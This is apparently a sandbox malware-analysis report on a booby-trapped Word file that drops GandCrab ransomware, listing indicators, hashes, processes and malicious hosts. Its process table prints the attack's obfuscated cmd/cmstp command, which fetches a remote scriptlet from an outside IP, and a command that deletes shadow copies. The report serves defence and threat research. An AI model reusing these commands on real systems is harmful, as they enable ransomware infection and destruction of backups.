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File name:

Korean National Police Agency.doc

Full analysis: https://app.any.run/tasks/2c2de957-8ffe-4188-8295-41fb043e46cb
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 10:25:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Thu Mar 21 19:19:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

6D70903794AB3CA05DD1B1B4F917204F

SHA1:

DBE96D823FB6C1B855020EA6676F27E9C13A0148

SHA256:

D383CEE6586F23BC1DCDD4D1E8638D58E795C0833111BCBD94AE1FB883AAE988

SSDEEP:

3072:B6pgFP6P77AjBNJx4WDgDBiTBEIGMqFWrdn2TXz+rOieOnewQKJk2iwHagf:B6pO+AnJ2Wsi9EI4EdGKOseZ6z

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 22234.exe (PID: 2916)

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 2068)

    • Writes file to Word startup folder

      • 22234.exe (PID: 2916)

    • Changes settings of System certificates

      • 22234.exe (PID: 2916)

    • Deletes shadow copies

      • cmd.exe (PID: 1464)

    • Dropped file may contain instructions of ransomware

      • 22234.exe (PID: 2916)

    • Renames files like Ransomware

      • 22234.exe (PID: 2916)

    • GANDCRAB detected

      • 22234.exe (PID: 2916)

  • SUSPICIOUS

    • Reads Internet Cache Settings

      • cmstp.exe (PID: 2068)

    • Reads the machine GUID from the registry

      • cmstp.exe (PID: 2068)

    • Creates files in the user directory

      • cmd.exe (PID: 2520)
      • cmstp.exe (PID: 2068)
      • 22234.exe (PID: 2916)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 2068)

    • Creates files in the program directory

      • 22234.exe (PID: 2916)

    • Starts CMD.EXE for commands execution

      • 22234.exe (PID: 2916)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2364)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 2364)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2364)

    • Dropped object may contain TOR URL's

      • 22234.exe (PID: 2916)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 26
Paragraphs: 1
Lines: 1
Company:
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 23
Words: 4
Pages: 1
ModifyDate: 2019:03:21 19:19:00
CreateDate: 2019:02:28 14:52:00
TotalEditTime: 2.0 minutes
Software: Microsoft Office Word
RevisionNumber: 3
LastModifiedBy: Admin
Template: Normal
Comments: -
Keywords: -
Author: Admin
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 22234.exe cmd.exe no specs vssadmin.exe no specs notepad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2364"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Korean National Police Agency.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
2520cmd /V /C set "u05=s" && !u05!et "u39=\" && !u05!et "u42=e" && !u05!et "u43=i" && !u05!et "u49=A" && !u05!et "u1=N" && !u05!et "u5=d" && c!u49!ll !u05!et "u6=%!u49!PP!u5!!u49!T!u49!%" && c!u49!ll !u05!et "u63=%R!u49!!u1!!u5!OM%" && !u05!et "u62=!u6!!u39!M!u43!cro!u05!oft!u39!T!u42!mplat!u42!s!u39!!u63!.txt" && !u05!et "u8="^" && (For %i in ("[v!u42!r!u05!ion]" "!u05!ignatur!u42!=$Wi!u1!dow!u05! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!u42!faultIn!u05!tall_Singl!u42!U!u05!er]" "UnR!u42!gi!u05!t!u42!rOCXs=u66" "[u66]" "%11%\%u0_1%%u0_2%%u0_3%,NI,%u_1%%u_2%%u_3%%u_4%%u_5%%u_6%%u_7%%u_8%%u_9%%u_10%%u_11%%u_12%%u_13%%u_14%" "[!u05!tring!u05!]" "u_1=ht" "u_2=tp" "u_3=:/" "u_4=/1" "u_5=34" "u_6=.2" "u_7=09" "u_8=.8" "u_9=8." "u_10=23" "u_11=/s" "u_12=ub" "u_13=.t" "u_14=xt" "u0_2=rO" "u0_1=sC" "u0_3=bJ" ) do @echo %~i)>"!u62!" && echo !u05!erv!u43!ceNam!u42!=!u8! !u8!>>!u62! && echo !u05!hortSvcN!u49!me=!u8! !u8!>>!u62! && c!u49!ll !u05!et "u25=%WI!u1!!u5!IR%" && !u05!t!u49!rt "" !u25!!u39!Sy!u05!t!u42!m32!u39!cm!u05!tp.!u42!x!u42! /s /ns "!u62!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2068C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\5158.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2916"C:\Users\admin\AppData\Roaming\Microsoft\22234.exe" C:\Users\admin\AppData\Roaming\Microsoft\22234.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
1464"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\SysWOW64\cmd.exe—22234.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2600vssadmin delete shadows /all /quietC:\Windows\SysWOW64\vssadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2072"C:\Windows\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\LDNHNBPJ-MANUAL.txtC:\Windows\system32\NOTEPAD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 749
Read events
1 329
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2 205
Text files
219
Unknown types
72

Dropped files

PID
Process
Filename
Type
2364WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR38B0.tmp.cvr —
MD5:—
SHA256:—
2364WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFF8E91B4464A26DCE.TMP —
MD5:—
SHA256:—
291622234.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp —
MD5:—
SHA256:—
2068cmstp.exeC:\Users\admin\AppData\Roaming\Microsoft\22234.exeexecutable
MD5:28F9A6802A8A1712F9FD0ACCE6697F4E
SHA256:711048D0C36EC880E9758F27859D4415F7A8883A7F8E8B9777C6EF28C18087D2
2364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{69CE160E-14E2-42E0-BBF3-59DFF0374C11}.tmpbinary
MD5:0197220D9831F0BF6EB8D9A3189EE463
SHA256:E1B65DE35723C2D432D19652A4ACE6B52A1F6DD08CCACC80D72ED3A141E3779B
2364WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:074930088FFE83A3DB169A2F1C50A6C8
SHA256:07200C4DC1CE11EF5FD29F52012693B246E3A62DA41F1E5ABFF6D6EDFCAE507A
2364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C2EF1A6B.wmfwmf
MD5:9B958D431B80584579043950B6329CC2
SHA256:0C014D127F39FDEEDFA2229D89442011E65B0B09A38F748231D64FCE5E29224E
2520cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Templates\5158.txtini
MD5:8D31B290C617BC92B96D345855D4AF60
SHA256:4B486FDC8C0CC7716E85C448F4795735FC3091331F1FB337E660BDFCA20453F4
291622234.exeC:\$Recycle.Bin\S-1-5-21-3896776584-4254864009-862391680-1000\LDNHNBPJ-MANUAL.txttext
MD5:1FCE3D59A2EE54D6F434FA5A3833B2F4
SHA256:3D9ED1473B6E66C3D93EA6146FAA5DC239B3FA62D30345670F12299BB826DEA7
2068cmstp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BDW1XBVN\sub[1].txtxml
MD5:35E0074B26434734B8C87DE20DAE3AD6
SHA256:640EE8EC46C660C9D1784AAC3EB73FEA64586416B6935251638E319CC5E72D87
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2916
22234.exe
POST
404
107.173.49.208:443
https://www.kakaocorp.link/static/pictures/kaeszu.jpg
US
html
603 b
malicious
2068
cmstp.exe
GET
200
134.209.88.23:80
http://134.209.88.23/sub.txt
US
xml
259 Kb
malicious
2916
22234.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2916
22234.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious
2916
22234.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2068
cmstp.exe
134.209.88.23:80
—
—
US
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
2068
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2068
cmstp.exe
Generic Protocol Command Decode
SURICATA STREAM excessive retransmissions
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
Korean National Police Agency.doc